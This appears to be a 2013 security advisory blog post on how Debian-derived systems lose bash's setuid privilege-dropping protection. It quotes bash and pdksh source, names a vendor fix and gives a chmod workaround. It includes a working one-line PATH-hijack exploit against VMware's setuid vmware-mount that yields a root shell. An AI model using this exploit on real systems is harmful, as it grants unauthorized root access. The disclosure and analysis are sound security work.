On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid.
488
489 if (running_setuid && privileged_mode == 0)
490 disable_priv_mode ();
491
Where disable_priv_mode is defined as:
1202 void
1203 disable_priv_mode ()
1204 {
1205 setuid (current_user.uid);
1206 setgid (current_user.gid);
1207 current_user.euid = current_user.uid;
1208 current_user.egid = current_user.gid;
1209 }
Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5:
307 /* Turning off -p? */
308 if (f == FPRIVILEGED && oldval && !newval) {
309 #ifdef OS2
310 ;
311 #else /* OS2 */
312 setuid(ksheuid = getuid());
313 setgid(getgid());
314 #endif /* OS2 */
315 } else if (f == FPOSIX && newval) {
This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file.
However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed:
$ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root
It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?).
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
VMware do list Debian/Ubuntu as supported host platforms though, so they have published a fix for this issue today. If you care about this and can't wait for the patch, you can temporarily remove the setuid bit from vmware-mount like this:
# chmod u-s /usr/bin/vmware-mount
Note that it is almost impossible to use popen() or system() safely in a setuid program without privmode, even if you specify the full path. This is a fun example from back in 2005, but there are lots more cases.
In conclusion, too bad if an otherwise unexploitable bug becomes exploitable, that's the price you pay for high quality uucp support in 2013 ;-)
P.S. If you don't know what uucp is, you can read more about it on fidonet or at my gopher site.
P.P.S. I sent the dash maintainers a patch today, but I'm not sure if they're interested.
